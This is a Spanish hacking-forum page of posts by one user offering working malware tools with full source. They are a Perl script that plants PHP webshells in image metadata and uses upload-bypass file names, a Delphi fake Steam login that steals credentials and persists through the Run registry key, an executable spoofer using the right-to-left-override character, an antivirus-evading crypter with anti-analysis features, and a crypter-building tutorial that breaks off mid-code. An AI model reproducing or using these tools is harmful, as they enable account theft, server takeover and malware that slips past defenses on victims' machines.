Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - BigBear

#101
Perl / [Perl] LFI Image Helper 0.8
Mayo 08, 2015, 04:05:02 AM
Un simple script en Perl para colocar codigo de phpshells en imagenes , el script tiene las siguientes opciones :

  • Listar todos los Tags de la imagen con contenido
  • Listar solo los Tags
  • Leer el valor de cierto Tag
  • Crear un Tag nuevo
  • Editar un Tag
  • Borrar un Tag
  • Infectar una imagen con un backdoor conocido en PHP

    El codigo :

    Código: perl

    #!usr/bin/perl
    #LFI Image Helper 0.8
    #(C) Doddy Hackman 2015
    #ppm install  http://trouchelle.com/ppm/Image-ExifTool.ppd
    #
    #Array @shells based on : OhNo - Evil Image Builder By Hood3dRob1n
    #Thanks to Hood3dRob1n
    #
    #Dump Values
    #Based on :http://www.nntp.perl.org/group/perl.beginners/2012/02/msg119913.html
    #Thanks to Ken Slater
    #
    use Image::ExifTool;
    use Getopt::Long;
    use Color::Output;
    Color::Output::Init;

    my @shells = (

        {},

        {

            "nombre"  => "Simple Backdoor",
            "codigo"  => '<?php system($_GET["cmd"]);exit(1); ?>',
            "ejemplo" => "?cmd="

        },
        {

            "nombre" => "System Shell",
            "codigo" =>
    '<?error_reporting(0);print(___);system($_REQUEST[cmd]);print(___);die;?>',
            "ejemplo" => "?cmd="

        },
        {

            "nombre" => "Eval Shell",
            "codigo" =>
    '<?error_reporting(0);print(___);eval($_REQUEST[cmd]);print(___);die;?>',
            "ejemplo" => "?cmd="

        },
        {

            "nombre" => "Sneaky Shell",
            "codigo" =>
    '<?php @$_[]=@!+_; $__=@${_}>>$_;$_[]=$__;$_[]=@_;$_[((++$__)+($__++ ))].=$_; $_[]=++$__; $_[]=$_[--$__][$__>>$__];$_[$__].=(($__+$__)+ $_[$__-$__]).($__+$__+$__)+$_[$__-$__]; $_[$__+$__] =($_[$__][$__>>$__]).($_[$__][$__]^$_[$__][($__<<$__)-$__] ); $_[$__+$__] .=($_[$__][($__<<$__)-($__/$__)])^($_[$__][$__] ); $_[$__+$__] .=($_[$__][$__+$__])^$_[$__][($__<<$__)-$__ ]; $_=$ $_[$__+ $__] ;$_[@-_]($_[@!+_] );?>',
            "ejemplo" => "?0="

        },
        {

            "nombre" => "r0ng Shell",
            "codigo" =>
              '<?if($_GET["r0ng"]){echo"<pre>".shell_exec($_GET["r0ng"]);}?>',
            "ejemplo" => "?r0ng="

        }

    );

    GetOptions(
        "dump_all=s"   => \$dump_all,
        "dump_tags=s"  => \$dump_tags,
        "read_tag=s"   => \$read_tag,
        "tag=s"        => \$tag,
        "make_tag=s"   => \$make_tag,
        "value=s"      => \$value,
        "update_tag=s" => \$update_tag,
        "delete_tag=s" => \$delete_tag,
        "backdoor=s"   => \$backdoor,
        "bypass=s"     => \$bypass,
        "file=s"       => \$file
    );

    head();

    if ($dump_all) {

        if ( -f $dump_all ) {
            printear_titulo("[+] Finding information in : ");
            print $dump_all. "\n\n";
            dump_all($dump_all);
        }
        else {
            printear("[-] File not found\n");
        }

    }
    elsif ($dump_tags) {

        if ( -f $dump_tags ) {
            printear_titulo("[+] Finding tags in : ");
            print $dump_tags. "\n\n";
            dump_tags($dump_tags);
        }
        else {
            printear("[-] File not found\n");
        }
    }
    elsif ($read_tag) {

        if ( -f $read_tag ) {
            printear_titulo("[+] Finding tag value of $tag in : ");
            print $read_tag. "\n\n";
            read_tag( $read_tag, $tag );
        }
        else {
            printear("[-] File not found\n");
        }

    }

    elsif ($make_tag) {

        if ( -f $make_tag ) {

            printear_titulo("[+] Photo : ");
            print $make_tag. "\n";
            printear_titulo("[+] Name : ");
            print $tag. "\n";
            printear_titulo("[+] Value : ");
            print $value. "\n\n";

            printear("[+] Making tag $tag ...\n\n");

            make_tag( $make_tag, $tag, $value );

        }
        else {
            printear("[-] File not found\n");
        }
    }
    elsif ($update_tag) {

        if ( -f $update_tag ) {

            printear_titulo("[+] Photo : ");
            print $update_tag. "\n";
            printear_titulo("[+] Name : ");
            print $tag. "\n";
            printear_titulo("[+] Value : ");
            print $value. "\n\n";

            printear("[+] Updating tag $tag ...\n\n");

            update_tag( $update_tag, $tag, $value );

        }
        else {
            printear("[-] File not found\n");
        }
    }
    elsif ($delete_tag) {

        if ( -f $delete_tag ) {
            printear_titulo("[+] Deleting tag $tag in : ");
            print $delete_tag. "\n\n";
            delete_tag( $delete_tag, $tag );
        }
        else {
            printear("[-] File not found\n");
        }

    }
    elsif ($backdoor) {

        if ( -f $backdoor ) {

            printear_titulo("[+] Photo : ");
            print $backdoor. "\n\n";

            printear("[+] 1 : ");
            print "Simple Backdoor\n";
            printear("[+] 2 : ");
            print "System Shell\n";
            printear("[+] 3 : ");
            print "Eval Shell\n";
            printear("[+] 4 : ");
            print "Sneaky Shell\n";
            printear("[+] 5 : ");
            print "r0ng Shell\n";

            printear_titulo("\n[+] Option : ");
            chomp( my $opcion = <stdin> );

            backdoor_tag( $backdoor, $opcion, $file );

        }
        else {
            printear("[-] File not found\n");
        }

    }
    elsif ($bypass) {

        if ( -f $bypass ) {

            my $source = readfile($bypass);

            printear_titulo("[+] PHP Shell : ");
            print $bypass. "\n\n";

            printear("[+] 1 : ");
            print "bypass.jpg.php\n";
            printear("[+] 2 : ");
            print "bypass.php;test.jpg\n";
            printear("[+] 3 : ");
            print "bypass.php%00.jpg\n";

            printear_titulo("\n[+] Option : ");
            chomp( my $opcion = <stdin> );

            if ( $opcion eq "1" ) {
                savefile( $file . ".jpg.php", $source );
                chmod 0777, $file . ".jpg.php";
            }
            elsif ( $opcion eq "2" ) {
                savefile( $file . ".php;test.jpg", $source );
                chmod 0777, $file . ".php;test.jpg";
            }
            elsif ( $opcion eq "3" ) {
                savefile( $file . ".php%00.jpg", $source );
                chmod 0777, $file . ".php%00.jpg";
            }
            else {
                savefile( $file . ".jpg.php", $source );
                chmod 0777, $file . ".jpg.php";
            }

            printear("\n[+] PHP Shell Bypassed\n");

        }
        else {
            printear("\n[-] File not found\n");
        }

    }
    else {
        sintax();
    }

    copyright();

    # Functions

    sub backdoor_tag {

        my $image  = $_[0];
        my $opcion = $_[1];
        my $final  = $_[2];

        my $tag     = "Model";
        my $nombre  = $shells[$opcion]->{nombre};
        my $valor   = $shells[$opcion]->{codigo};
        my $ejemplo = $shells[$opcion]->{ejemplo};

        printear("\n[+] Backdoor Name : ");
        print "$nombre\n";
        printear("[+] Backdoor Example : ");
        print "$ejemplo\n";

        my $datos_imagen       = new Image::ExifTool;
        my $informacion_imagen = $datos_imagen->ImageInfo($image);

        $datos_imagen->SetNewValue( $tag, $valor );

        unlink($final);

        $ok = $datos_imagen->WriteInfo( $image, $final );

        if ( $ok eq "1" ) {
            printear_titulo("\n[+] Backdoor : ");
            print "OK\n";
            chmod 0777, $final;
        }
        else {
            printear_titulo("\n[-] Backdoor: ");
            print "Error\n";
        }

    }

    sub delete_tag {

        my $imagen_target = $_[0];
        my $tag           = $_[1];

        my $datos_imagen       = new Image::ExifTool;
        my $informacion_imagen = $datos_imagen->ImageInfo($imagen_target);

        $datos_imagen->SetNewValue( $tag, undef );

        $ok = $datos_imagen->WriteInfo($imagen_target);

        if ( $ok eq "1" ) {
            printear_titulo("[+] Tag $tag : ");
            print "Deleted\n";
        }
        else {
            printear_titulo("[-] Tag $tag : ");
            print "Error\n";
        }

    }

    sub update_tag {

        my $image = $_[0];
        my $tag   = $_[1];
        my $valor = $_[2];

        my $datos_imagen       = new Image::ExifTool;
        my $informacion_imagen = $datos_imagen->ImageInfo($image);

        $datos_imagen->SetNewValue( $tag, $valor );

        $ok = $datos_imagen->WriteInfo($image);

        if ( $ok eq "1" ) {
            printear_titulo("[+] Tag $tag : ");
            print "Updated\n";
        }
        else {
            printear_titulo("[-] Tag $tag : ");
            print "Error\n";
        }

    }

    sub make_tag {

        my $image = $_[0];
        my $name  = $_[1];
        my $value = $_[2];

        my $poc = Image::ExifTool->new();

        $poc->ExtractInfo($image);
        $poc->SetNewValue( $name, $value );

        $ok = $poc->WriteInfo($image);

        if ( $ok eq "1" ) {
            printear_titulo("[+] Tag $name : ");
            print "Created\n";
        }
        else {
            printear_titulo("[-] Tag $name : ");
            print "Error\n";
        }

    }

    sub read_tag {

        $imagen_target = $_[0];
        $tag           = $_[1];

        my $datos_imagen       = new Image::ExifTool;
        my $informacion_imagen = $datos_imagen->ImageInfo($imagen_target);

        $valor = $datos_imagen->GetValue($tag);

        if ( $valor eq "" ) {
            printear("[-] Tag not found\n");
        }
        else {
            printear("[+] $tag : ");
            print $valor. "\n";
        }

    }

    sub dump_tags {

        my $imagen_target = $_[0];

        my $datos_imagen       = new Image::ExifTool;
        my $informacion_imagen = $datos_imagen->ImageInfo($imagen_target);

        @tags = $datos_imagen->GetFoundTags("File");

        for my $tag (@tags) {
            printear("[+] Tag : ");
            print $tag. "\n";
        }

    }

    sub dump_all {

        my $imagen_target = $_[0];

        my $datos_imagen       = new Image::ExifTool;
        my $informacion_imagen = $datos_imagen->ImageInfo($imagen_target);

        for my $abriendo_imagen ( $datos_imagen->GetFoundTags("Group0") ) {
            my $valor = $informacion_imagen->{$abriendo_imagen};
            printear("[+] $abriendo_imagen : ");
            print $valor. "\n";
        }

    }

    sub savefile {
        open( SAVE, ">>" . $_[0] );
        print SAVE $_[1] . "\n";
        close SAVE;
    }

    sub readfile {
        open my $FILE, q[<], $_[0];
        my $word = join q[], <$FILE>;
        close $FILE;
        return $word;
    }

    sub printear {
        cprint( "\x036" . $_[0] . "\x030" );
    }

    sub printear_logo {
        cprint( "\x037" . $_[0] . "\x030" );
    }

    sub printear_titulo {
        cprint( "\x0310" . $_[0] . "\x030" );
    }

    sub sintax {

        printear("[+] Sintax : ");
        print "perl $0 <option> <value>\n";
        printear("\n[+] Options : \n\n");
        print "-dump_all <image> : Get all information of a image\n";
        print "-dump_tags <image> : Get all tags of a image\n";
        print "-read_tag <image> -tag <tag> : Read value tags of a image\n";
        print "-make_tag <image> -tag <tag> -value <value> : Make a new tag\n";
        print "-update_tag <image> -tag <tag> -value <value> : Update tag\n";
        print "-delete_tag <image> -tag <tag> : Delete tag\n";
        print "-backdoor <image> -file <name> : Insert backdoor in a image\n";
        print
    "-bypass <php shell> -file <name> : Rename extension of a image to bypass\n";
        printear("\n[+] Example : ");
        print "perl lfi_image_helper.pl -dump_all test.jpg\n";
        copyright();
    }

    sub head {
        printear_logo("\n-- == LFI Image Helper 0.8 == --\n\n\n");
    }

    sub copyright {
        printear_logo("\n\n-- == (C) Doddy Hackman 2015 == --\n\n");
        exit(1);
    }

    sub toma {
        return $nave->get( $_[0] )->content;
    }

    #The End ?


    Un video con ejemplos de uso :



    Si quieren bajar el programa lo pueden hacer de aca :

    You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.
    You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.
#102
Delphi / Re:[Delphi] Fake Steam 0.3
Mayo 01, 2015, 07:43:16 PM
si , es simple , se le podria agregar una opcion de enviar por gmail o algo asi xD.
#103
Delphi / [Delphi] Fake Steam 0.3
Mayo 01, 2015, 12:05:30 PM
Un simple fake del programa Steam , parecia dificil pero con el poder de los skins de Delphi XE2 pude hacerlo "parecido".

Una imagen :



El codigo :

Código: delphi

// Fake Steam 0.3
// (C) Doddy Hackman 2015

unit fake;

interface

uses
  Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
  System.Classes, Vcl.Graphics,
  Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.ExtCtrls, Vcl.Imaging.pngimage,
  Vcl.StdCtrls, Registry;

type
  TForm1 = class(TForm)
    Image1: TImage;
    Image2: TImage;
    Edit1: TEdit;
    Edit2: TEdit;
    Image3: TImage;
    Image4: TImage;
    Image5: TImage;
    Image6: TImage;
    procedure Image2Click(Sender: TObject);
    procedure Image3Click(Sender: TObject);
    procedure Image4Click(Sender: TObject);
    procedure Image5Click(Sender: TObject);
    procedure Image6Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.FormCreate(Sender: TObject);
var
  nombrereal: string;
  rutareal: string;
  yalisto: string;
  her: TRegistry;

begin

  try
    begin
      nombrereal := ExtractFileName(ParamStr(0));
      rutareal := ParamStr(0);
      yalisto := 'C:\WINDOWS\' + nombrereal;

      CopyFile(Pchar(rutareal), Pchar(yalisto), false);

      her := TRegistry.Create;
      her.RootKey := HKEY_LOCAL_MACHINE;

      her.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run', false);
      her.WriteString('ubersteam', yalisto);
      her.Free;

      SetFileAttributes(Pchar(yalisto), FILE_ATTRIBUTE_HIDDEN);
      SetFileAttributes(Pchar('C:/windows/datos.txt'), FILE_ATTRIBUTE_HIDDEN);
    end;
  except
    //
  end;
end;

procedure TForm1.Image2Click(Sender: TObject);
var
  archivo: TextFile;
  ruta: string;

begin

  if (Edit1.Text = 'doddy') and (Edit2.Text = 'hackman') then
  begin
    try
      begin
        WinExec('notepad c:/windows/datos.txt', SW_SHOW);
      end;
    except
      //
    end;
  end
  else
  begin

    if Edit1.Text = '' then
    begin
      ShowMessage('Escriba tu usuario');
    end;
    if Edit2.Text = '' then
    begin
      ShowMessage('Escribe tu contraseña');
    end
    else
    begin
      if Edit2.Text = 'Escribe aqui tu contraseña' then
      begin
        ShowMessage('Escribe tu contraseña');
      end
      else
      begin
        try
          begin
            ruta := 'c:/windows/datos.txt'; // mod
            if FileExists(ruta) then
            begin
              AssignFile(archivo, ruta);
              FileMode := fmOpenWrite;
              Append(archivo);
              Writeln(archivo, '[user] : ' + Edit1.Text + ' [password] : ' +
                Edit2.Text);
              CloseFile(archivo);
              Application.MessageBox
                ('Se ha producido un error , es necesario reiniciar Steam',
                'Steam', MB_OK);
              Form1.Close;
            end
            else
            begin
              AssignFile(archivo, ruta);
              FileMode := fmOpenWrite;
              ReWrite(archivo);
              Writeln(archivo, '[user] : ' + Edit1.Text + ' [password] : ' +
                Edit2.Text);
              CloseFile(archivo);
              Application.MessageBox
                ('Se ha producido un error , es necesario reiniciar Steam',
                'Steam', MB_OK);
              Form1.Close;
            end;
          end;
        except
          //
        end;
      end;
    end;
  end;
end;

procedure TForm1.Image3Click(Sender: TObject);
begin
  Application.Terminate;
end;

procedure TForm1.Image4Click(Sender: TObject);
begin
  ShowMessage('Not available');
end;

procedure TForm1.Image5Click(Sender: TObject);
begin
  ShowMessage('Not available');
end;

procedure TForm1.Image6Click(Sender: TObject);
begin
  ShowMessage('Not available');
end;

end.

// The End ?


Si quieren bajar el programa lo pueden hacer de You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.
#104
Delphi / [Delphi] DH Server Manager 0.3
Abril 24, 2015, 12:27:36 PM
Un simple programa en Delphi para modificar ejecutables con las siguientes opciones :

  • File Pumper
  • Extension Spoofer
  • Icon Changer

    Una imagen :



    Código: delphi

    // DH Server Manager 0.3
    // (C) Doddy Hackman 2015
    // Based on : http://www.nerdprogrammer.in/2014/05/the-rats-crew-aio.html

    unit dhserverman;

    interface

    uses
      Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
      System.Classes, Vcl.Graphics,
      Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.StdCtrls, Vcl.ComCtrls,
      Vcl.ExtCtrls, Vcl.Imaging.pngimage, madRes, StrUtils;

    type
      TForm1 = class(TForm)
        PageControl1: TPageControl;
        TabSheet1: TTabSheet;
        TabSheet2: TTabSheet;
        TabSheet3: TTabSheet;
        GroupBox1: TGroupBox;
        ruta_archivo: TEdit;
        Button1: TButton;
        GroupBox2: TGroupBox;
        Button2: TButton;
        StatusBar1: TStatusBar;
        TabSheet5: TTabSheet;
        GroupBox3: TGroupBox;
        GroupBox4: TGroupBox;
        count: TEdit;
        UpDown1: TUpDown;
        tipo_cantidad: TComboBox;
        GroupBox5: TGroupBox;
        ruta_icono: TEdit;
        Button3: TButton;
        GroupBox6: TGroupBox;
        Image1: TImage;
        OpenDialog1: TOpenDialog;
        OpenDialog2: TOpenDialog;
        GroupBox7: TGroupBox;
        usefilepumper: TCheckBox;
        iconchanger: TCheckBox;
        extensiones: TComboBox;
        selectextension: TCheckBox;
        GroupBox8: TGroupBox;
        mi_extension: TCheckBox;
        esta_extension: TEdit;
        extensionchanger: TCheckBox;
        TabSheet4: TTabSheet;
        Image2: TImage;
        GroupBox9: TGroupBox;
        Image3: TImage;
        Memo1: TMemo;
        procedure Button2Click(Sender: TObject);
        procedure Button3Click(Sender: TObject);
        procedure FormCreate(Sender: TObject);
        procedure Button1Click(Sender: TObject);
      private
        { Private declarations }
      public
        { Public declarations }
      end;

    var
      Form1: TForm1;

    implementation

    {$R *.dfm}
    // Functions

    procedure file_pumper(archivo: string; cantidad: LongWord);
    var
      arraycantidad: array of Byte;
      abriendo: TFileStream;
    begin
      abriendo := TFileStream.Create(archivo, fmOpenReadWrite);
      SetLength(arraycantidad, cantidad);
      ZeroMemory(@arraycantidad[1], cantidad);
      abriendo.Seek(0, soFromEnd);
      abriendo.Write(arraycantidad[0], High(arraycantidad));
      abriendo.Free;
    end;

    procedure extension_changer(archivo: string; extension: string);
    var
      nombre: string;
    begin
      nombre := ExtractFileName(archivo);
      nombre := StringReplace(nombre, ExtractFileExt(nombre), '',
        [rfReplaceAll, rfIgnoreCase]);
      nombre := nombre + char(8238) + ReverseString('.' + extension) + '.exe';
      MoveFile(PChar(archivo), PChar(ExtractFilePath(archivo) + nombre));
    end;

    //

    procedure TForm1.Button1Click(Sender: TObject);
    begin
      if OpenDialog1.Execute then
      begin
        ruta_archivo.Text := OpenDialog1.FileName;
      end;
    end;

    procedure TForm1.Button2Click(Sender: TObject);
    var
      change: dword;
      valor: string;
      tipocantidad: string;
      tipoextension: string;
      extensionacambiar: string;
    begin

      if not(FileExists(ruta_archivo.Text)) then
      begin
        ShowMessage('Select File to change');
      end
      else
      begin

        StatusBar1.Panels[0].Text := '[+] Working ...';
        Form1.StatusBar1.Update;

        if (usefilepumper.Checked) then
        begin
          tipocantidad := tipo_cantidad.Items[tipo_cantidad.ItemIndex];
          if (tipocantidad = 'Byte') then
          begin
            file_pumper(ruta_archivo.Text, StrToInt(count.Text) * 8);
          end;
          if (tipocantidad = 'KiloByte') then
          begin
            file_pumper(ruta_archivo.Text, StrToInt(count.Text) * 1024);
          end;
          if (tipocantidad = 'MegaByte') then
          begin
            file_pumper(ruta_archivo.Text, StrToInt(count.Text) * 1048576);
          end;
          if (tipocantidad = 'GigaByte') then
          begin
            file_pumper(ruta_archivo.Text, StrToInt(count.Text) * 1073741824);
          end;
          if (tipocantidad = 'TeraByte') then
          begin
            file_pumper(ruta_archivo.Text, StrToInt(count.Text) * 1099511627776);
          end;
        end;

        if (iconchanger.Checked) then
        begin
          try
            begin
              change := BeginUpdateResourceW
                (PWideChar(wideString(ruta_archivo.Text)), false);
              LoadIconGroupResourceW(change, PWideChar(wideString(valor)), 0,
                PWideChar(wideString(ruta_icono.Text)));
              EndUpdateResourceW(change, false);
            end;
          except
            begin
              //
            end;
          end;
        end;

        if (extensionchanger.Checked) then
        begin
          if not(selectextension.Checked and mi_extension.Checked) then
          begin
            if (selectextension.Checked) then
            begin
              extensionacambiar := extensiones.Items[extensiones.ItemIndex];
              extension_changer(ruta_archivo.Text, extensionacambiar);
            end;
            if (mi_extension.Checked) then
            begin
              extension_changer(ruta_archivo.Text, esta_extension.Text);
            end;
          end;
        end;

        StatusBar1.Panels[0].Text := '[+] Done';
        Form1.StatusBar1.Update;
      end;

    end;

    procedure TForm1.Button3Click(Sender: TObject);
    begin
      if OpenDialog2.Execute then
      begin
        ruta_icono.Text := OpenDialog2.FileName;
        Image1.Picture.LoadFromFile(OpenDialog2.FileName);
      end;
    end;

    procedure TForm1.FormCreate(Sender: TObject);
    begin
      OpenDialog1.InitialDir := GetCurrentDir;
      OpenDialog2.InitialDir := GetCurrentDir;
      OpenDialog2.Filter := 'Icons|*.ico|';
    end;

    end.

    // The End ?


    Un video con ejemplos de uso :



    Si quieren bajar el programa lo pueden hacer de You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.
#105
Delphi / [Delphi] DH Crypter 1.0
Abril 13, 2015, 10:15:04 AM
Un simple crypter que hice en Delphi con las siguientes funciones :

  • Generador de key para el cifrado
  • Delay
  • Startup del archivo
  • Ocultar archivo
  • Melt File
  • Mensajes falsos
  • Ejecutar comandos
  • Matar procesos
  • Abrir URL
  • Descargar y ejecutar archivos
  • File Pumper,Extension Spoofer & Icon Changer

  • Antis :

    [++] Virtual PC
    [++] Virtual Box
    [++] Debug
    [++] Wireshark
    [++] OllyDg
    [++] Anubis
    [++] Kaspersky
    [++] VMware

  • Disables :

    [++] UAC
    [++] Firewall
    [++] CMD
    [++] Run
    [++] Taskmgr
    [++] Regedit
    [++] Updates

    [!] Creditos :

    [++] steve10120 [ RunPE ]

    Una imagen :



    Un video con ejemplos de uso :



    Si quieren bajar el programa lo pueden hacer de aca :

    You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.
    You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.

    Eso seria todo.
#106
Delphi / [Delphi] Creacion de un Crypter
Abril 12, 2015, 04:55:43 PM
[Titulo] : Creacion de un Crypter
[Lenguaje] : Delphi
[Autor] : Doddy Hackman

[Temario]

-- =================--------

0x01 : Introduccion
0x02 : Creacion del Builder
0x03 : Creacion del Stub
0x04 : Probando el Crypter
0x05 : Creditos

-- =================--------

0x01 : Introduccion

Un crypter es un programa para ocultar malware para que no sea detectado y eliminado por los antivirus , en este manual aprenderemos a hacer un cryper en Delphi 7.
Solo les voy a enseñar como hacerlo , les voy avisando que no sera FUD y lo hago solo en Delphi 7 por varias razones ya que Delphi XE2 me daba muchos errores en este tema.

Empecemos ... 

0x02 : Creacion del Builder

Para empezar cargamos Delphi 7 y nos vamos "File->New->Application" como en la siguiente imagen :



Despues agregamos los siguientes elementos al formulario :

* 1 Edit (En Standard)
* 2 Botones (En Standard)
* 1 OpenDialog (En Dialogs)

El Edit contendra la ruta del archivo a encriptar , el primer boton sera para buscar el archivo , el segundo boton para encriptar el archivo y finalmente el OpenDialog lo usaremos para que el usuario pueda seleccionar el archivo.

Entonces al primer boton lo ponemos al lado del Edit1 y le ponemos de texto al boton : "Load" , el segundo boton viene abajo del Edit1 y le ponemos de texto "Encrypt"

Tambien si quieren pueden poner un titulo al Form desde la opcion de "Caption" del formulario , en mi caso pongo "Crypter".

El formulario les deberia quedar asi :



Entonces hacemos doble click en el boton "Load" y ponemos el siguiente codigo :

Código: delphi

procedure TForm1.Button1Click(Sender: TObject);
begin
  if OpenDialog1.Execute then // Abrimos el OpenDialog para insertar la ruta
  // del archivo a encriptar
  begin
    Edit1.Text := OpenDialog1.FileName; // Establecemos el texto de Edit1 con
    // la ruta del archivo marcado en el openDialog1
  end;
end;


Ahora hacemos doble click en el boton "Encrypt" y ponemos el siguiente codigo :

Código: delphi

procedure TForm1.Button2Click(Sender: TObject);
var
  codigo: string; // Declaramos la variable "codigo" como string
  key: integer; // Declaramos la variable "key" como integer
  separador: string; // Declaramos la variable "separador" como string
  linea: string; // Declaramos la variable "linea" como string
begin

  separador := '-barra-';
  // Establecemos el valor que tendra la variable "separador"
  key := 123; // Establecemos el valor de la variable "key" como 123

  codigo := xor_now(leer_archivo(Edit1.Text), key);
  // Leemos el archivo que hay en
  // la caja de texto y encriptamos con XOR el contenido usando una key

  CopyFile(Pchar(ExtractFilePath(Application.ExeName) + '/' + 'stub.exe'),
    Pchar(ExtractFilePath(Application.ExeName) + '/' + 'done.exe'), True);
  // Copiamos el stub.exe con el nombre de done.exe

  linea := separador + codigo + separador + IntToStr(key) + separador;
  // Establecemos
  // la variable "linea" con el valor de contenido del archivo encriptado con
  // XOR y la key del cifrado XOR

  escribir_datos('done.exe', '-acatoy1-', '-acatoy2-', linea); // Escribimos
  // los datos en el ejecutable done.exe marcando los delimtiadores "acatoy" y
  // tambien ponemos el valor de la variable "linea"
 
  ShowMessage('Done');

end;


El codigo les deberia quedar algo asi :



Para poder usar este codigo debemos crear una Unit llendo a "File->New->Unit" como en la siguiente imagen :



Una vez creada pongan el siguiente codigo :

Código: delphi

// Unit : Tools for Crypter
// Coded By Doddy Hackman in the year 2015
// Credits : Based on OP Crypter By Xash
// Thanks to Xash

unit tools;

interface

uses SysUtils, Windows;

function leer_datos(archivo, delimitador1, delimitador2: string): string;
function escribir_datos(ruta, delimitador1, delimitador2, texto: string): bool;

function leer_archivo(archivo_a_leer: String): AnsiString;
function xor_now(texto: string; clave: integer): string;

implementation

function xor_now(texto: string; clave: integer): string;
var
  numero: integer; // Establecemos la variable "numero" como integer
  contenido: string; // Establecemos la variable "contenido" como string
begin
  contenido := ''; // Vaciamos el contenido de la variable "contenido"
  for numero := 1 to Length(texto) do // Realizamos un for empezando por 1 hasta
  // la longitud de la variable "texto"
  begin
    contenido := contenido + Char(integer(texto[numero]) xor clave);
    // Encriptamos los datos
    // con XOR
  end;
  Result := contenido; // Devolvemos el resultado de la funcion como el valor
  // de la variable "contenido"
end;

function leer_archivo(archivo_a_leer: String): AnsiString;
var
  archivo: File; // Declaramos la variable "archivo" como File
  tipo: Byte; // Declaramos la variable "tipo" como Byte
begin
  tipo := FileMode; // Establecemos el FileMode para abrir el archivo
  try
    FileMode := 0; // Establecemos como "0" el FileMode
    AssignFile(archivo, archivo_a_leer); // Abrirmos el archivo
{$I-}
    Reset(archivo, 1); // Leemos el archivo desde la primera linea
{$I+}
    if IoResult = 0 then // Si IoResult es 0 ...
      try
        SetLength(Result, FileSize(archivo)); // Establecemos la longitud la
        // variable "Result" como la longitud del archivo
        if Length(Result) > 0 then
        // Si la longitud del resultado es mayor a 0 ...
        begin
{$I-}
          BlockRead(archivo, Result[1], Length(Result)); // Leemos los datos
{$I+}
          if IoResult <> 0 then // Si es distinto a 0 ..
            Result := '';
        end;
      finally
        CloseFile(archivo); // Cerramos el archivo
      end;
  finally
    FileMode := tipo; // Declaramos la variable FileMode como la variable "tipo"
  end;
end;

function leer_datos(archivo, delimitador1, delimitador2: string): string;

var
  contenido: string; // Declaramos la variable "contenido" como string
  limite: integer; // Declaramos la variable "limite" como integer
  dividiendo: integer; // Declaramos la variable "dividiendo" como integer
  dividiendo2: integer; // Declaramos la variable "dividiendo2" como integer
  dividiendo3: integer; // Declaramos la variable "dividiendo3" como integer
  dividiendo4: integer; // Declaramos la variable "dividiendo4" como integer
  control1: integer; // Declaramos la variable "control1" como integer
  control2: integer; // Declaramos la variable "control2" como integer
  suma: integer; // Declaramos la variable "suma" como integer
  numero: integer; // Declaramos la variable "numero" como integer
  suma_inicial_1: integer; // Declaramos la variable suma_inicial_1 como integer
  suma_inicial_2: integer; // Declaramos la variable suma_inicial_2 como integer
  suma_casi_1: integer; // Declaramos la variable suma_casi_1 como integer
  suma_casi_2: integer; // Declaramos la variable suma_casi_2 como integer
  resultado: string; // Declaramos la variable "resultado" como string
  contenido_final: string;
  // Declaramos la variable "contenido_final" como string
begin

  if (FileExists(archivo)) then // Si existe el archivo ...
  begin
    contenido := leer_archivo(archivo); // Leemos el archivo y guardamos todo
    // en la variable "contenido"

    suma_inicial_1 := Length(delimitador1);
    // Calculamos la longitud de la variable
    // "delimitador1"

    suma_inicial_2 := Length(contenido);
    // Calculamos la longitud de la variable
    // "contenido"

    suma := Pos(delimitador1, contenido) + suma_inicial_1;
    // Calculamos la posicion del
    // "delimitador" en la variable "contenido"

    dividiendo := suma_inicial_2 - suma;
    // Restamos las variables "suma_inicial_2"
    // y "suma"
      dividiendo2 := suma_inicial_2 - dividiendo;
    // Restamos las variables "suma_inicial_2"
    // y "dividiendo"

    contenido := Copy(contenido, dividiendo2, suma_inicial_2);
    // Copiamos las variables y las guardmamos en "contenido"

    suma_casi_1 := Pos(delimitador1, contenido);
    // Calculamos la posicion de "delimitador1"
    // en la variable "contenido"
    suma_casi_2 := suma_casi_1 + suma_inicial_1;
    // Sumamos las variables "suma_casi_1"
    // y "suma_inicial_1"

    control1 := Pos(delimitador2, contenido) - suma_casi_2;
    // Calculamos la posicion
    // de "delimitador2" en la variable "contenido" y lo restamos con "suma_casi_2"

    control2 := control1 - 1; // Restamos en uno la variable "control1"

    for numero := 0 to control2 do
    // Realizamos un for usando desde 0 hasta el valor
    // de la variable "control2"
    begin
      dividiendo3 := suma_inicial_1 + numero;
      // Sumamos la variables varibles "suma_inicial_1"
      // y "numero"
      dividiendo4 := Pos(delimitador1, contenido) + dividiendo3;
      // Calculamos la posicion de "delimitador1" en la variable
      // "contenido"
      contenido_final := contenido[dividiendo4]; // "Usamos la posicion que esta
      // en la variable "dividiendo4" para acceder a cierta posicion de la variable
      // "contenido"
      resultado := resultado + contenido_final;
      // Sumamos las variables "resultado" y
      // "contenido_final"
    end;

    if resultado = '' then // Si la variable "resultado" esta vacia ...
    begin
      resultado := 'Error'; // Mostramos "Error" en la variable "resultado"
    end
    else
    begin
      Result := resultado; // De lo contrario mostramos el contenido de la
      // variable "resultado" en resultado de la funcion
    end;
  end
  else
  begin
    Result := 'Error'; // De lo contrario mostramos "Error" en el resultado de
    // la funcion
  end;
end;

function escribir_datos(ruta, delimitador1, delimitador2, texto: string): bool;
var
  abriendo_archivo: TextFile; // Declaramos la variable "abriendo_archivo" como
  // TextFile
begin
  if (FileExists(ruta)) then // Si el archivo de la variable "ruta" existe ...
  begin
